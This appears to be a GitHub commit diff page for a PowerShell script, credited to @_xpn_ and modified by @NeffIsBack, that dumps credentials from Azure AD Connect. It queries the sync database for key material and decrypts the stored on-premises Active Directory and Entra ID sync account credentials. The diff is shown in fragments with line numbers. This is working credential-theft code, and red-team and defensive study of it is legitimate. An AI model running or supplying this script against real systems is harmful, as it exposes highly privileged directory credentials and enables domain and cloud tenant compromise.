You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
2
+
# Modified by @NeffIsBack:
3
+
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
4
+
5
+
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
$out= f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
52
+
if (-not$out) { return }
53
+
$key_id,$instance_id,$entropy=$out
54
+
55
+
# Get and decrypt on-prem AD credentials
56
+
$out= f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
57
+
if (-not$out) { return }
58
+
$on_prem,$c=$out
59
+
$pd= decrypter $c$key_id$instance_id$entropy
60
+
61
+
# Get and decrypt Entra ID sync credentials
62
+
$out= f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
63
+
if (-not$out) { return }
64
+
$entra,$c=$out
65
+
$qd= decrypter $c$key_id$instance_id$entropy
66
+
67
+
68
+
69
+
# Extract the credentials from the decrypted XML configurations
0 commit comments